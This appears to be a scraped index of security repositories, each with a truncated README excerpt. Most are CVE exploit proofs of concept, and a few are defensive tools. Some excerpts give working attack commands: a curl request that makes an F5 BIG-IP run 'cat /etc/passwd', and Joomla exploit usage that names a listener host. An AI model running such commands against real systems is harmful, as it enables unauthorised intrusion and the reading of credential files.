CVE-2024-4577-RCE

PHP CGI Argument Injection CVE-2024-4577 RCE 📜 Description In PHP versions 8.1. before 8.1.29, 8.2. before 8.2.20, 8.3. before 8.3.8, when using Apache and PHP-CGI on Windows, if the system is set up to use certain code pages, Windows may use "Best-Fit" behavior to replace characters in command...

CVE-2018-11686

CVE-2018-11686 CVE-2018-11686 - FlexPaper PHP Publish Service RCE = 2.3.6 found by Red Timmy Security Technical Analysis: https://www.exploit-db.com/docs/english/46521-flexpaper-=-2.3.6-remote-code-execution-whitepaper.pdf Security advisory: unknow Proof Of Concept: 1. Removing the config files T...

CVE-2025-1094-PoC-Postgre-SQLi

Analysis of CVE-2025-1094 and Emulation Setup This detailed examination, conducted on March 14, 2025, explores CVE-2025-1094, a hypothetical high-severity SQL injection vulnerability in PostgreSQL, based on the provided emulation setup and proof-of-concept PoC execution. The analysis covers the...

Check-vuln-CVE-2019-0708

CVE-2019-0708 Unauthenticated CVE-2019-0708 "BlueKeep" Scanner PoC by @JaGoTu and @zerosum0x0. Metasploit module PR: https://github.com/rapid7/metasploit-framework/pull/11869 In this repo A scanner fork of rdesktop that can detect if a host is vulnerable to CVE-2019-0708 Microsoft Windows Remote...

CVE-2022-38694_unlock_bootloader

CVE-2022-38694 An attacker with physical access to the device can overwrite a function pointer somewhere in the BootROM data section or a return address stored on the stack and execute their own code with BootROM privileges. For detailed information, read the article by NCC Group. Quick links: To...

CVE-2017-3000

CVE-2017-3000 A full exploit of CVE-2017-3000 on Flash Player Constant Blinding PRNG Insert WANG and wang into dynamically generated code heap in the end...

Joomla-3.4.6---configuration.php-Remote-Code-Execution

Joomla-3.4.6---configuration.php-Remote-Code-Execution Affected versions: 3.0.0-3.4.6 1. Vulnerability verification python3 Joomla-3.4.6-RCE.py -t http://172.20.10.4 If "Vulnerable" is displayed, the vulnerability exists. python3 test.py -t http://127.0.0.1:8080/ --exploit --lhost 192.168.31.126...

HavocPwn

Havoc-PWN Authenticated This SSRF-RCE Chain was inspired by chebuya's CVE-2024-41570 SSRF POC and IncludeSecurity's Havoc Auth RCE both exploits are amazing and well crafted, please do give these creators appriciation for their hardwork! chebuya hyperreality How does it Work? The SSRF vulnerabili...

rails-exploit-cve-2013-0156

== Rails PoC exploits for CVE-2013-0156 and CVE-2013-0155 Bootstrapped a Rails 3.2.10 application with the remote code execution exploit. Ref: https://github.com/ronin-ruby/ronin-ruby.github.com/blob/rails-pocs/blog/posts/2013-01-09-rails-pocs.md === Setup Install gem dependencies and fire up the...

Frida-Labs

This repository contains a series of challenges designed for learning Frida for Android. These are not like hardcore Capture The Flag CTF applications but will help you to start with Frida and its commonly used APIs. If you are entirely new to Frida, this is the perfect repository to get started....

claude-code-devcontainer

Claude Code in a devcontainer A sandboxed development environment for running Claude Code with bypassPermissions safely enabled. Built at Trail of Bits for security audit workflows. Why Use This? Running Claude with bypassPermissions on your host machine is risky—it can execute any command withou...

CVE-2022-1388-RCE-checker-and-POC-Exploit

CVE-2022-1388 RCE checker Simple bash script to check CVE-2022-1388 RCE F5 BIG-IP. + Usage: ./CVE-2022-1388.sh hosts.txt CVE-2022-1388 RCE POC Exploit Don't forget to change the IP address curl -X POST http://10.0.0.1/mgmt/tm/util/bash -d "'command':'run','utilCmdArgs':-e 'cat /etc/passwd'" -H...

CVE-2024-50427

CVE-2024-50427 SurveyJS: Drag & Drop WordPress Form Builder = 1.9.136 - Authenticated Subscriber+ Arbitrary File Upload Description: The SurveyJS: Drag & Drop WordPress Form Builder to create, style and embed multiple forms of any complexity plugin for WordPress is vulnerable to arbitrary file...

F5-Big-IP-CVE-2022-1388

F5-Big-IP-CVE-2022-1388 CVE-2022-1388 F5 Big IP unauth remote code execution PoC Follow us Vulnmachines YouTube Twitter Facebook LinkedIn...

detect-secrets

detect-secrets About detect-secrets is an aptly named module for surprise, surprise detecting secrets within a code base. However, unlike other similar packages that solely focus on finding secrets, this package is designed with the enterprise client in mind: providing a backwards compatible ,...

memhunter

Memhunter Automated hunting of memory resident malware at scale This project is WORK IN PROGRESS. Expect feature changes and binary releases on the upcoming weeks. Overview Memhunter is an endpoint sensor tool that is specialized in detecing resident malware, improving the threat hunter analysis...

SSTImap

SSTImap This project is based on Tplmap. SSTImap is a penetration testing software that can check websites for Code Injection and Server-Side Template Injection vulnerabilities and exploit them, giving access to the operating system itself. This tool was developed to be used as an interactive...

rails-rce-cve-2016-0752

Exploiting CVE-2016-0752 This app serves as a vulnerable Proof of Concept for exploiting CVE-2016-0752. For more information refer to this blog post, which explains the vulnerability, the steps required to exploit, the fix, and a link to a metasploit module. Getting Started echo ""...

PoC-public

PoC-public This repository collects PoC code that we published at various security conferences. Black Hat EU 2020 CODE BLUE 2021 Black Hat Asia 2023 CODE BLUE 2023...

CVE-2023-36845

CVE-2023-36845 Description CVE-2023-36845 represents a notable PHP environment variable manipulation vulnerability that impacts Juniper SRX firewalls and EX switches. While Juniper has categorized this vulnerability as being of medium severity, in this article, we will elucidate how this singular...